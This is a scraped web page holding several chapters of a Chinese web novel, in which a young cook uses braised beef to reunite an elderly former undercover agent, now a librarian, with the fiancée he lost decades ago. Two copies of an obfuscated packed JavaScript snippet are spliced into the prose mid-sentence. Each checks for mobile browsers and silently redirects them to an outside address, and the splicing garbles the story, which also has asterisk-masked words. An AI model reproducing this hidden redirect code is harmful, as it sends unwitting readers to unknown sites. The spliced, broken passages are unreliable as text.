卤牛肉这道菜，对于邱绮来说应该有着非常重要的意义。 周砚躺回床上，点开菜谱。 略微失神，知识随即进入脑海。 周砚本身对于卤牛肉已经掌握到【不错】境。 所以卤牛肉的高阶经验包很快便吸收完毕，随即回过神来。 【卤牛肉（高级）：99999/100000】 面板之中，卤牛肉的等级信息随即更新。 他扫了一眼其他各项数据。 火候、调味、刀工都有显著提升！ 果然每天高强度的做菜，还是非常涨熟练度和水平的。 不错！ 把这件事了结之后，就可以上线卤牛肉了！ 拉过被子，周砚倒头就睡。 …… 第二天天刚蒙蒙亮，小周师傅和老周师傅便骑着车出门买菜去了。 “我听说票证要取消了，以后摆摊卖的肉价和供销社的就要一个价了，猪肉、牛肉、羊肉都按这个政策来，嘉州那边这两天已经开始试点推行。”路上，周淼和周砚说道。 周砚闻言眼睛一亮：“真的？嘉州要是开始了，苏稽肯定马上也会跟上，不然这差价，跑一趟嘉州也是划算的！” 这对于他们这些个体户来说可是好消息，特别是他这饭店，每天用肉量已经超过一百斤。 价格一旦放开，肉的成本能降一半左右。 如果菜品的价格不变，那**菜的毛利能从50%直接提升到70%以上。 当然，有些菜品的价格也可以适量降低，或者增加份量，来提升性价比，吸引更多的客人。 比如红烧排骨，现在的价格是一块六一份，用半斤排骨，成本就占到了一块一，毛利才五毛钱，卖的还行，经常有一份、两份剩的，盈利能力不是很强。 排骨价格如果从一块八一斤降到九毛钱一斤，那食材成本直接能降到六**五，毛利近一块钱。 哪怕营业额不变，那饭店的净利润也将有大幅度的提升。 “我听杀牛的同行和刀儿匠说，蓉城已经推行了一段时间了，应该不得假，就这两天的事。”周淼笑着点头，“放开了好啊，之前大家都是拿着票去供销社买肉，嫌我们卖的贵，稍不注意卖不完就要亏本。要是价格放开，就供销社那些鼻孔朝天的营业员，哪里卖的过我们。” “说得对，这就是市场经济。”周砚笑着点头。 “那饭店的菜价要调整不？” “不调。”周砚非常果决，摇头道：“如今客人们已经认可了我们的价格，而且就算下调一两毛钱，也很难靠价格让更多没有在外吃饭的客人进店消费。 经济在发展，下调的肉价我预计要不了多久就会慢慢涨回去。 菜价往下调容易，但成本上涨后要想再涨回去，很有可能会招致客人的反感，从而流失更多的客人。” 周淼若有所思的点头，觉得周砚这话说的也挺有道理的。 经济确实在快速发展，这两年尤为明显。 万元户以前谁敢想？ 可这一两年在报纸上已经常能看到关于万元户的报道。 果然，肉价相关消息最灵通的，绝对是卖肉的。 今天周砚去买牛肉和卖猪肉的时候，杀牛匠和刀儿匠们都提到了这件事，对此看法和老周同志是一致的，都认为这对于他们这些个体户是利好。 “怎么买了三斤牛腱子？是准备做卤牛肉吗？”回去路上，周淼问道。 周砚笑着道：“对，我想先练练，本来觉得卤牛肉定价太贵，很难卖出去，但如果牛肉价格能降下来，那我定价也可以降一些，多一道卤牛肉，也能增加一些营业额。” “挺好，当初你奶奶的卤牛肉，可是让苏稽大户们念念不忘。”周淼点头，脸上露出了几分怀念之色。 “我知道，您还跟着大伯他们给他们上门送肉嘛。” “嗯？你怎么晓得？”周淼有些意外的看着他。 “额……奶奶教我卤肉的时候提起过，她说那时候她在桥头摆摊，就让你们一家一户去送肉，给她省了不少功夫。”周砚笑着回道。 周淼点头：“对头，不过那都是解放前的事情了，我也才五六岁，很多事情已经记不清，后来大户们都往南方逃去，牛不让杀了，就只卖猪头肉，生意也没得那么好做了。” “放心，往以后走，生意只会越来越好做，我们父子联手，做大做强！”周砚信心满满道。 周淼闻言也笑了：“要得！” 黄家兄妹今天也是一早就来了。 高强度骑行训练了四天，两人体型上变化还不太明显，但精神面貌有了极大改善。 黄兵黑眼圈淡了许多，苍白虚弱的脸上有了一些血色，眼里也有了一些神采，看着比第一回见舒服不少。 **把头发扎成了高马尾，圆脸红扑扑的，但气息平稳，看起来颇有活力，和刚开始那两天生无可恋的模样完全不同了。 “砚哥！” “周老板。” 两人进门，先跟周砚打了声招呼，又和赵嬢嬢打招呼。 七点到店，店里才坐了三四个客人，周砚闲得很，站在门口跟赵嬢嬢摆龙门阵。 “你们倒是来的越来越早了。”周砚看着两人笑道。 “其实出门时间是差不多的，都是六点二十左右出门，不过我们俩现在骑的越来越快了，半个多小时就能到。”**笑着应道，看着已经给她们端水来的赵嬢嬢，快步两步上前接过海碗，甜甜谢道：“谢谢赵嬢嬢！” “谢谢嬢嬢。”黄兵也跟着说道，接过温水先小小喝了两口，看着周砚道：“我要一个大份的碎花拌面。” “我要中份的碎花拌面，加一份红烧排骨，加辣。”**说道。 “要得。”周砚应了一声，往厨房走去。 加浇头是前两天新推出的吃法，一份三毛钱，算是给有钱任性的客人量身定制的。 毕竟很多客人吃不下两份面，但又喜欢吃更丰富的浇头，比如**。 她这两天点的都是加料版，要么拌面加红烧排骨，要么加牛肉烧笋干。 “你们两个天天骑三个来回，看起来精气神好多了，硬是要得。”赵铁英看着俩人，颇为感慨道。 “赵嬢嬢，你都不晓得我现在天天晚上睡得好香哦，洗了澡往床上一躺，立马就睡戳了。”**笑着道：“以前晚上喜欢看电视，看到半夜饿了就去煮面条、拿巧克力吃，早上睡到中午才起床。” “太好了，乖乖，你也是有毅力的人，有这种干劲，做啥事都能成。”赵铁英夸赞道。 “嘿嘿。”**笑容中透着几分被夸夸的小得意。 黄兵瞅了她一眼，微微昂起下巴道：“我每天比她多跑一趟，现在每天还要在后厨练三个小时刀工呢，晚上也是倒头就睡，都好几天没去喝酒了。” “嗯，那你也很不错撒，学点手艺在身上是对的。”赵嬢嬢笑着道。 “等我把刀工学好了，我就去摆摊买卤肉。”黄兵咧嘴笑，眼里满是憧憬之色。 **看了眼他贴满止血贴的手，到了嘴边的话又咽了回去。 早上忙完，周砚把牛腱子先卤上。 两口大铝锅，现在每天轮流上阵，只有坝坝宴卤肉需求暴增的时候，才会同时启用两口锅。 飞燕酒楼的卤肉订货量已经从十斤增长到了二十斤，涨幅喜人，确实是有底蕴的。 中午忙完，周砚拿了一块牛腱子，上称一称，八两，逆着牛肉的肌理切开，一片片铜钱厚的卤牛肉顺着落在砧板上。 截面太漂亮了，牛腱子自带的筋膜犹如半透明的琥珀般延展开来，卤汁浸透牛肉，红亮**泽看着颇为诱人。 【一份完美的卤牛肉】 系统给出鉴定结果。 牛肉切完，周砚拈了一片边角料喂到嘴里。 瘦肉软而不柴，筋膜软糯入味，肉里吸满了老卤汁，嚼起来带着细密的韧性，香味在咀嚼间缓缓绽放。 真不错！ “咕噜~”周沫沫在旁边眼巴巴看好一会了，咽口水的声音超大声，“锅锅，卤牛肉好不好吃呀？” “你尝尝不就知道了。”周砚从旁边拿了个碟子，拿了三两装在盘子里，“端出去跟妈、老汉儿他们一起吃。” “嗯嗯！”周沫沫双手接过盘子，小心翼翼地往外走。 周砚抽了一张牛皮纸，把剩下的半斤卤牛肉装起，又把看完的《人生》拿上，推着自行车出门去。 周砚骑车到石板桥头忍不住刹了一脚，树下没了张记卤味的摊摊，张淑芬记忆中那棵手腕粗的黄葛树，如今已经亭亭如盖，成了镇上居民纳凉的好地方，长石条上坐着两个老人，有一句没一句的聊着。 打了一瓶好酒，周砚蹬上自行车往图书馆去。 图书馆门口，汪大爷靠在竹制躺椅上，鼻梁上架着老花镜，手里拿着一本书，看得正入迷。 周砚把车停下，大爷抬头看着他，笑道：“看完了？” “嗯，看完了，感触良多，人这一生可真不容易。”周砚笑着应道，从车篮里把那包卤牛肉和那瓶酒拿了出来，笑着放在一旁的小桌上：“今天新卤的牛肉，还给你打了一瓶好酒，尝尝？” 汪大爷听完坐不住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200259|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，把手里的书放下，直起身来拆开了油纸包，看着那一片片花纹漂亮的卤牛肉，眼睛一亮，抬头看着周砚：“不错啊！看着就对味！” 周砚把酒给他开了，笑道：“喝点？” “那必须啊。”汪大爷起身进去，拿了两个杯子出来，“你也来点？” “我不行，我一杯倒，晚上谁给客人炒菜啊。”周砚笑着摇头，接过杯子先给汪大爷满上一杯，然后提着暖壶给自己倒了杯热水。 汪大爷给他搬了张板凳过来，自己拿了双筷子坐下，夹起一片卤牛肉，手微微颤抖。 周砚坐下，目光落在了他的右颈处，那里有数道陈年伤疤，一颗黑痣格外醒目显眼，握着杯子的手也跟着颤了一下。 是他！ 没错了！ 汪大爷的脸和记忆中那张意气风发，俊朗神气的脸渐渐重合。 周砚似乎又看到了那个一手提着鸟笼，一手拿着青花瓷盆的青年，他的笑容肆意而张扬。 汪遇，汪然。 原来是改名了。 是为了和过去做切割吗？ 周砚此刻的内心有些激荡，既为找到汪遇而兴奋，也为汪大爷过往的遭遇感到同情。 汪大爷此刻内心应该也是混乱的，夹着一片卤牛肉迟迟没有吃，眼神有些飘忽，不知在想什么。 周砚没有开口，静静看着他。 他的中山装扣到了最高那一颗，但脖子上依旧能看到许多陈年旧伤，头发梳的一丝不苟，但不像年轻时候那般用那么多发胶了。 过了好一会，他把牛肉喂到了嘴里，慢慢嚼着嚼着，咽下，端起酒杯喝了一口酒，长舒一口气。 “就是这个味道，没想到，四十多年后还能吃到这一口卤牛肉。”汪大爷笑着说道，眼眶里泛着微光。 “有您这话，我就放心了，我就怕拿捏不住这个味道。”周砚笑着端起杯子，“来，我敬您一个。” 汪大爷跟他碰了一下杯，又喝了一口，放下杯子，笑着道：“酒也好，打这么好的酒给我喝，浪费了。” “给不懂酒的人喝那叫浪费，给大师喝，那叫恰如其分。”周砚笑着道：“来，再尝尝这牛肉，看看还有没有什么能改进的。” 汪大爷拿起筷子又吃了一块卤牛肉，喝了一口酒，笑着道：“已经是极好的，我可提不出半点意见来。” 周砚给他把酒满上，笑眯眯道：“您年轻的时候常来我奶奶摊位上买卤牛肉？” 一杯白酒入肚，又吃着心心念念多年的卤牛肉，或是睹物思情，汪大爷的话匣子渐渐打开了，“你奶奶做的卤牛肉味道好啊，那时候苏稽镇上的大户，哪家不喜欢吃她做的卤牛肉？我们家每天都要喊人来买……” 周砚是个合格的倾听者，总能在恰当时候把酒满上，然后抛出下个引导问题，或是给出积极的回应。 汪大爷讲了他年轻时候在苏稽的一些回忆，讲了他跟着川军出川，直奔上海，打的第一场仗就是沪松战役。 “太惨烈了！人死成堆堆，我们川军的武器太落后了，三四个人共用一把枪，**也不足，小鬼子枪法好啊，训练有素，我看着战友一个个倒下……”汪大爷说着有些哽咽，顿了顿，“后来有颗**在我身边爆开，我就失去了知觉。 我以为我**，结果醒来在战地医院里，后来又被转移到了后方养伤养了大半年，因为闲着没事，给教会医院的洋人医生打下手，想学了一些英语，也认识了不少药品。 养好了伤，因为医院里一起养伤的一个**将领的推荐，被调往香江负责向外国购买前线急需的药品。1940年有次出门，阴差阳错救了个人，结果是**。 一个多月接触下来，我被他们的信念和理念折服，自己去找了马克思写的书来看，由此也开始为游击队提供一些药品，成了一名**的卧底。” “那么厉害！”周砚惊叹，又带着几分好奇道：“大师，你当卧底，那代号是啥子呢？” “代号……”汪大爷端起酒杯抿了一口，眼神看向远方，沉默了一会，吐出了两个字：“绮遇”。 “绮遇？”周砚鼻子一酸。 1940年，邱绮与段兴邦的婚礼已经是一年前的事情。 可他还是用了他们的名字，组成了自己的代号。 何其浪漫！ 汪大爷摸了摸鼻子，笑了笑道：“我觉得这像是一场奇遇，所以就取了这个代号。” 你看，男人说假话的时候，就会有下意识的小动作。 “后来也没啥好说的了，刘将军那句：敌军一日不退出国境，川军则一日誓不还乡！我们川军做到了。”汪大爷笑着道：“你看我们现在的日子，越过越好了，大家安居乐业，再也没有人能欺负到我们的头上来。” “对。”周砚点头，给他把酒满上。 一句没啥好说的，把自己做的贡献和受的委屈一笔带过。 汪大爷是懂春秋手法的。 他想听的，他是一句不说。 那可不行，卤牛肉吃了，酒也喝了，肯定得挖点他想听的。 比如他为何要改名？ 他终生未娶心里是否还惦记着邱绮？ 昨天帮段语嫣结账，是不是因为认出她是邱绮的孙女了？ 周砚笑着道：“我奶奶说，他印象最深刻的，是有个叫汪遇的年轻人，喜欢来她这里买卤牛肉，每个星期都要来买一趟，亲自送到嘉州城去给一个姑娘。这年轻人，大师认识吗？” 汪大爷握着酒杯的手一僵，抬头看着周砚，目光微闪。 周砚笑容纯粹，不带一丝恶意和杂质，“我奶奶说，我爷爷就是跟他一起出川打鬼子的，在上海打仗的时候，还背着他从尸山血海里逃了出来，就是后来分散了，直到建国才又见到一面。 我爷爷跟我奶奶说汪遇是好人，是卧底，还帮他收集材料，后来他被征召去朝鲜，资料还是我奶奶递交的，也不晓得汪遇后来怎么样了，我奶奶还一直记挂着。” 汪大爷把手里的酒杯轻轻放下，看着周砚轻叹了一口气：“我就是汪遇。” 求月票！晚上还会有一更。   (本章完) 第142章 体面（7500月票加更！） 周砚本以为他会以有个朋友作托词，但没想到他承认的如此坦荡。 “大师，您不是叫汪然吗？”周砚惊讶道。 “案子审了一年多，周哥也就是你爷爷搜寻的证据递交上去之后，引起了上级的重视，后来在江东游击队里找到了一个曾与我接过头的线人，卧底的身份得以证明。”汪大爷不急不缓道： “等我从蓉城的监狱出来，回到了嘉州，组织上原本要给我安排工作，但被我拒绝了，去嘉州图书馆当了管理员。 我在这世上已没有亲人，所以我把名字改成了汪然，想要与过去斩断，醉心于书籍之中，以此麻痹内心的痛苦与煎熬。 前些年退休了，便回到了苏稽，主动申请接手关停多年的镇图书馆，一晃又八年了，我与书籍为伴，偶偶与来借书的书友交谈几句。” “没想到，这世上还有人惦念着我。”汪大爷看着周砚，脸上露出了几分笑容：“张姐身体可还健朗？她和周哥是我的救命恩人，两次救我于水火。 说来惭愧，我是个懦弱之人，这么多年都不曾敢去找她。 既怕我的身份给她招惹麻烦，又害怕面对当年的自己。” “您是真正的战士，怎会是懦弱之人！”周砚坐直了身子，面露钦佩之色：“我奶奶身体挺好的，每天要吃肉，还要喝二两酒呢。” 原来汪大爷改名是这个缘故，以书籍麻痹自我，对于家破人亡的他来说，也是一种疗愈自我的方式吧？ “能吃能喝，挺好的，她这辈子也过得不容易。”汪大爷叹了口气，“等哪天得空，你给我带带路，去周村拜访一下张姐。” “没问题，到时候我来找您。”周砚点头，老太太还惦念着这位汪四少爷，觉得他命苦，若是能见上一面，她应该也挺高兴的。 他们那个时代的人，见一次少一次。 周砚把酒给汪大爷满上，和他碰了一下杯，又好奇问道：“那您那位爱吃牛肉的未婚妻，后来如何了？我奶奶说，您走后刚好两年整，有个非常美丽的姑娘拿着您一直用的那个青花瓷盆，来了一趟苏稽，买了一份卤牛肉，最后端着牛肉哭着走的。” 汪大爷手里的酒杯微微颤抖，酒水洒出，打湿了衣裳，他盯着周砚，眼眶已然泛红，声音微哑道：“她……真的来了？” 周砚点头。 他亲眼看到了。 汪大爷笑了，可眼泪却终于止不住滑落，喃喃自语：“两年，她真傻……竟真的等了我两年……” 周砚默然，他大概能猜到信里写的什么了。 邱小姐，可真是一个重诺的女子。 当时那副官应该已经逼上门，或许段家也在跟邱府接触。 她等到了最后一日，亲自来了一趟苏稽，大概是想用那份卤牛肉告别汪遇吧。 无愧于心，无愧于他。 那**的世道，美貌是祸不是福，她左右不了自己的命运，但无疑做了对所有人最好的选择。 “她嫁了一个好男人，一个把她保护的很好的男人。”汪遇抬手揩去了眼泪，笑容中透着几分释然： “我其实挺高兴的，如果她嫁的是我，这辈子一定过得很苦。我宁愿为她**，也不想看她受半分罪。” “他做到我做不到的事情，让她体面的活着。” 周砚默然，大概能懂他的想法，但还是忍不住问了一句：“所以，那天你也在？” 汪大爷蓦然抬头，盯住周砚，目光灼灼。 周砚略感心虚，解释道：“他们结婚那日，我奶奶刚好去嘉州，她说看到路边蹲着一个人，有点像你……” “不是我，不过是一只丧家之犬而已。”汪大爷失笑摇头。 果然是他，周砚想到了那蹲在街边的身影，确实惶惶如丧家之犬。 可他明明已经赶回了嘉州，最终却选择了放手祝福。 护不住她，应该是他最深的痛吧？ 周砚斟酌了一下，递出了最直的刀：“后来呢，您有联系她吗？” “有些人，错过了就是错过，纵使深情也枉然。”汪大爷笑着摇头，悠悠道：“不纠缠，不诋毁，不打扰，那是做人基本的体面，也是我给她最后的温柔。” 他扶着墙，有些晃悠悠的起身，拉开柜子提出一个盒子放在桌上。 咔嚓。 小锁打开，他郑重的打开盒子。 盒子里整齐码着满满一盒信。 数百封装在信封里，贴着邮票，写了地址，却未寄出的信。 有的信封已经泛黄，有的却还是新的，大抵是横跨了数十年岁月。 “我给她写了很多信，每年，每月，只是都没有寄出。”汪大爷的手轻轻抚过那些信封，仿佛在细数自己的年轮，轻声低语：“如果收到信，她应该会感到苦恼吧？她过得那么幸福，不该因为我这样的人而烦恼。” “可若是她每年都在期待着你的信呢？”周砚看着他，“她甚至连你的死活都不知道，我想，她应该会惦念这件事的。如果知道你还活着，哪怕只是一封报平安的信，她也会很高兴吧？” 汪大爷的动作顿住，沉默良久，低声道：“或许，我就是个懦夫吧。” “段语嫣是她的孙女吧？你应该猜到了。”周砚看着他。 “你……怎么知道的？”汪大爷看向周砚，眼中有着不解。 “段老先生已经去世三年，邱老太现在住在邱家老宅，不愿去香江养老，也不愿去重修的段家老宅居住。”周砚没有回答他的问题，接着道：“您觉得，她在等谁？” “她……”汪大爷的眼中有惊讶，有不解，还有一丝欣喜。 “段语嫣是奉了邱老太的命来买卤牛肉的，苏稽石板桥头的张记卤牛肉，她从未忘记。”周砚语气柔和了几分：“段语嫣找到我说明缘由，所以我去问了我奶奶，猜测您可能就是她在等待的人。” 汪大爷的气息明显乱了几分，一手扶着桌子，泪满盈眶。 “她，还好吗？”汪大爷看着周砚。 “我与她尚未谋面，不清楚她的状况。”周砚摇头，看着他道：“但等会我会送一份卤牛肉到邱府，去见她一面。我现在想要您给我一句准话，如果邱绮等的是您，想要见您一面，您见还是不见？” “这数百封信，您是否打算亲手交给她？” 汪大爷渐渐挺直了胸膛，目光变得坚决，“如果她等的是我，我见！” “您，是个爷们！”周砚起身，把酒瓶盖上，“那我走了，您少喝点，等我消息。” 汪大爷看着骑上二八大杠离去的周砚，突然有点回过味来：“你小子，故意灌我酒套我话呢？” 周砚脚蹬的更快了，假装没有听见，嘴角上扬，眼角却不知何时润湿了。 周砚去供销社转了一圈，选到了一个器型和记忆中那个青花瓷盆相近的白瓷盆，花了他六**八，然后回到饭店把剩下那块卤牛肉也给切了，按照记忆中的摆盘整齐的堆叠在盆中。 挺好！ 有模有样的。 保证当事人一眼就能唤醒记忆。 把牛肉连盆装进一个大号的搪瓷盆里，再装进干净的布口袋，又放了一双干净筷子，周砚推着车又出门去了。 “又出门，上哪啊？”赵嬢嬢在门口和赵红还有两个摆摊的妇女打牌，随口问道。 “嘉州——”周砚的声音远远传来。 邱府外，周砚把车停下锁好，打开口袋，揭开搪瓷盆一看。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200260|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>唉。 果然颠得乱七八糟的。 好在他早有预料，把卤牛肉倒进搪瓷盆，拿出筷子，重新摆了个盘。 这下就相当完美了。 盖子盖上，搪瓷盆和布口袋丢车篮子里。 周砚上前，叩响了邱府的大门。 隔壁卤肉店这会没生意，老板闻声出来瞧了眼，看到周砚有些意外，笑问道：“欸！又是你？过来替你朋友看房子啊？” “不是，过来给邱府送卤牛肉的。”周砚笑着应道。 “卤牛肉？”老板不笑了，看着周砚手里捧着的白色瓷盆，有点迟疑道：“你，你也是卖卤肉的？还给邱老太送卤牛肉？” “对。”周砚笑着点头，“大家是同行嘛，有机会切磋切磋啊。” 老板脸都黑了，切磋？还切磋个啥啊！ 他的卤肉店在这开一年多了，邱老太就开业的时候买过一回，后来再没光顾过他的生意，什么原因可想而知。 这条街上的街坊都知道，邱老太吃东西讲究，能入她眼的，都是东大街的老字号，干净又好吃。 这家伙能送卤牛肉上门，可见邱老太觉得这牛肉比他的好啊。 门里传出拉门销的声音，大门缓缓打开，开门的是个敦实的中年妇女，有些警惕的看着周砚问道：“你找谁？” “我找段语嫣小姐，劳烦通报一声，就说周砚给她送卤牛肉来了。”周砚面带微笑道。 “好，你等到。”妇女说了一句，门又关上了。 不远处停着的皇冠车主驾位上，严飞一下子坐直了身子，瞪眼盯住了周砚：“嗯？这家伙怎么还追到邱府来了！不行不行！好女怕郎缠，段小姐可千万不能着了他的道，不然我的奖金可就泡汤了！” 严飞从车上下来，迈着大步往邱府大门走来。 邱府大门再次打开，穿着一身宽松棉质长裙的段语嫣跑了出来，有些惊喜的看着周砚，“这么快！有确切消息了吗？” 周砚点头，犹豫了一下道：“不过，不知道你能不能受得了。” “什么？”段语嫣看着表情有点复杂的周砚，脑子已经开始不受控制的疯狂运转，奶奶几十年未见的情郎？流落在外的私生子？周砚真是她表哥？ 周砚看着她急转的眼珠子，忍不住打断道：“可能也没你想的那么复杂。” “那你先说个大概，我好有点心理准备，快急死我了。”段语嫣又往前凑了凑，侧过耳朵，“快！” “你奶奶在嫁给你爷爷之前，曾有过一段青梅竹马的婚约，已经到了谈婚论嫁这一步，这事你知不知道？”周砚问道。 “啊？还有这种事情？那我爷爷岂不是仗势欺人、横刀夺爱的究极大恶人？”段语嫣瞪眼，一脸难以置信。 周砚给她干沉默了，你可真是究极大孝子。 “所以，我奶奶等的就是那个青梅竹马？”段语嫣若有所思，追问道：“那人还活着吗？” “人还活着，但我也不敢确定你奶奶等的就是他，毕竟我连你奶奶都没见过。”周砚呈上卤牛肉，“要不，咱们亲自去问问？” “走走走！现在就去！我已经等不及了！”段语嫣拉起周砚就往门里走，眼里只有吃瓜的决心。 严飞刚走到跟前，便看到段小姐拉着周砚进了门，嘴上还说着什么：“我已经等不及了……” “诶？不是……你们不能这样啊。”严飞看着紧闭的邱府大门，顿感欲哭无泪。 沃日！ 日防夜防，寸头难防啊！ 加更加更！ 求月票~~ 这段剧情，明天会一口气写完结束~~ 最后三天，求月票！ (本章完) 第143章 相见且欢娱（6k二合一） 步入大门，是一个清幽的小院，花草已经泛黄落叶，墙角有一株腊梅尚未开。 屋舍虽然修缮过，却也处处透着腐朽老旧的气息。 段语嫣拉着周砚进门，压着声音问道：“你等会见了我奶奶打算怎么说？需要我配合不？” “你别开腔就行，我先探探老太太的口风，要不是，咱们也别乱点鸳鸯谱。”周砚脚步一顿，也是小声道。 段语嫣黛眉微挑，露出了几分忧色：“你可别给我整个爷爷出来，我倒是无所谓，我怕我爸和我大伯受不了喜得爹。” 周砚看着她：“你说解了老太太心结，这房子就一万块钱卖给我，还作数吧？” “你放心，我说话算数。”段语嫣点头，继续往前走：“我奶奶在书房练字，你跟我来。” 周砚端着盆跟上，目光四下打量着，这府内比他之前预估的还要更大一些，两进的院子，房间还不少，整体布局精致巧妙，许多房间都空着，挂了锁。 走过长廊，来到了一处开着门的房间外。 段语嫣上前，敲了敲门，看着长书桌前正执笔写字的老太太开口道：“奶奶，张记卤味那孙子送卤牛肉来了。” “什么叫那孙子啊？香江人讲话多少有点不礼貌啊？”周砚挑眉，目光也是顺着往房间里看去。 书房布置的古色古香，一面墙的书架上摆满了古籍。 右侧靠窗摆了一张实木长桌，桌上笔墨纸砚一一陈列。 桌前坐着一位老太太，侧对着门口的方向，穿着一身黑色的九分袖旗袍，腰背挺的笔直，一头银发整齐挽起，斜插一根桃木簪子，手里握着一根毛笔。 周砚的目光落在她的脸上，眼角已经满是细纹，可侧脸线条依旧柔和，一如当年的优雅，又添了几分庄重。 恍惚间，他似乎看到了那个端着青花瓷盆转身，肩膀微颤，泪洒苏稽石板桥头的邱小姐。 她还是那个她，四十多年的岁月，似乎只为在她的脸上添了几道细纹，然后优雅地老去。 段先生做到了，他待她定然是极好的。 听到声音，邱绮的手微微一颤，墨汁滴落在纸上，晕开成一团。 她回头向着门口看来，目光落在端着瓷盆站在门口的周砚身上，略微有些晃神。 那个站在阳光里的少年，每次都是这样站在门口，端着那个青花瓷盆。 可惜，终究不是他。 邱绮放下毛笔，微笑道：“你是张氏的孙子？” “是的，我奶奶让我向您问好。”周砚同样微笑点头。 “她……还记得我？”邱绮脸上露出一丝讶色。 “奶奶年轻的时候看过您和段先生在飞燕酒楼办的婚礼，印象深刻。”周砚上前，把手里的瓷碗放在桌上：“段小姐说您想吃卤牛肉，所以我今天特意卤了一份给您送来。” 看着那盖着搪瓷盖子的瓷盆，邱绮伸出手，快要碰到盖子的时候，却又停住，脸上有着几分踟蹰之色。 段语嫣已经紧张的攥紧了拳头，目光紧盯着邱绮，她第一次在奶奶的脸上见到这样的神情，不似平日那般恬静优雅，而是有了一丝……慌乱。 周砚安静站着，等待着她揭盖。 迟疑了片刻，邱绮终究是揭开了盖子。 白色瓷盆中，一块块卤牛肉顺着瓷盆盘成圈，一层层堆叠而起，垒的整整齐齐。 邱绮看着盆中的牛肉愣愣出神，抿着嘴，两行清泪终是止不住从脸颊滑落。 四十八年了，依然在这间书房，这份装在瓷盆里的卤牛肉，竟还是原来那般模样。 她扶着桌子起身，走到书架旁的柜子前，拉开柜门，取出了一只青花瓷盆。 周砚看着她端到桌上来的青花瓷盆，釉面上增添了许多划痕，碎了一角又被补上，一道裂纹横亘半个碗，但碗底的牡丹依旧盛开的艳丽无双。 没想到，她还留着这个盆。 斑驳破碎的痕迹，让周砚忍不住去想汪遇，他和这青花瓷盆，又何其相似呢。 两只盆摆在一起，看起来大小几乎一样。 邱绮揩去眼泪，端详了许久，回头看着周砚问道：“你摆的？” “我奶奶说，当年汪家四少爷每回都拿着一个青花瓷盆来买卤牛肉，总叮嘱她要摆的好看一些，他好送人。”周砚点头。 邱绮眼里再次泛起泪光，轻声道：“谢谢，有心了。” 周砚看着桌上的青花瓷盆道：“这，应该就是当年那个青花瓷盆吧？没想到您还留着。” 邱绮的手指轻轻摩挲着青花瓷盆，目光微黯，“这是他最后留给我的东西，留着也是个念想。毕竟，我连他是死是活都不知道。” “您不愿意去香江，是因为他？”周砚温声问道，但话却格外直接。 段语嫣身体微微前倾，眼里满是期待之色，今天这老瓜可真是又大又圆，她也是吃上爷爷那一辈的瓜了。 还得是周砚啊，这刀她绝对不敢递。 邱绮的目光飘向窗外，沉默了良久，才缓缓开口：“我想看看他的模样，想知道他这些年过得怎样，我想再见他一面。我在这里，他如果还活着，就能找到我。” 周砚和段语嫣对了一下眼神，对方默默给他竖了个大拇指。 “他还活着。”周砚开口。 邱绮猛然回头，看着周砚，声音微颤：“他，在哪？” “苏稽。”周砚应道：“来之前我去见了他，他说，不打扰您的生活是他最后的体面和温柔，所以这么多年他不曾给你寄过一封信，也不曾来见您一面。” “可他给你写的信，装满了一个大盒子。数十年来，不曾断过。贴了邮票，写了地址，最后却锁进了箱子。” 邱绮微微张着嘴，眼神中满是震惊与心疼，放在桌上的手握成了拳头，微微颤抖，眼泪止不住的流淌。 段语嫣向泪流满面的邱绮，眼眶里有泪光在闪烁，“这虐恋也太好哭了吧？这么好的人，奶奶当年怎么就错过了呢？难道爷爷真是个大反派？” 她很快又抬头看向周砚，有点回过味来了：“不是！哥？你这样搞，我可能真的会多个爷爷的！” “他，还好吗？”邱绮看着周砚，终于说出话来。 “挺好的，身体健朗，心态也不错。”周砚点头，看着她道：“您要见他一面吗？他说，如果您愿意见，他也想见您。” “见。”邱绮没有一丝犹豫，眼里亮起了光，起身道：“现在就走吗？” 老太太的这份果敢，让周砚有点意外。 可记忆中那个敢硬抗副官逼迫，等满两年之约，还特意来了一趟苏稽告别汪遇的邱小姐，不就是这样的吗？ 她优雅，但从不软弱。 “明天早上九点，在苏稽桥头的黄葛树下碰面吧，我会和他约定好时间。”周砚说道。 他中午为了套话把汪大爷灌醉了，他可不敢让两人好不容易的世纪会面，汪大爷却以醉鬼的形象示人。 “好。”邱绮点头，看着周砚柔声道：“有劳你了，还不知道你的名字。” “我叫周砚，您叫我小周就可以了。”周砚微笑道。 “好，小周，你跟语嫣岁数相近，就喊我一声奶奶吧。”邱绮微笑道：“坐会，我让陈三妹给你倒茶。” 周砚抬手看了一眼手表，时间已经指向四点钟，摇头道：“不用了，邱奶奶，我该回饭店了，太晚回就来不及备菜了。” “奶奶，他在苏稽开饭店，生意相当好。”段语嫣可算插上嘴了。 “行，那生意要紧，别耽误了，下回再来喝茶。”邱绮连忙道。 “走吧小周，我送你出去。”段语嫣看着周砚笑吟吟道，当先往门外走去。 “回见。”周砚和邱绮说了一声，跟着段语嫣出门。 “可以啊你，几句话就把我奶奶的心结给套出来了，我和我爹忙活了半年，不如你一天。”段语嫣慢了一步，跟周砚并排而行，看着他啧啧称奇道。 “我说了，我会是你优秀的合作伙伴。”周砚嘴角微微上扬。 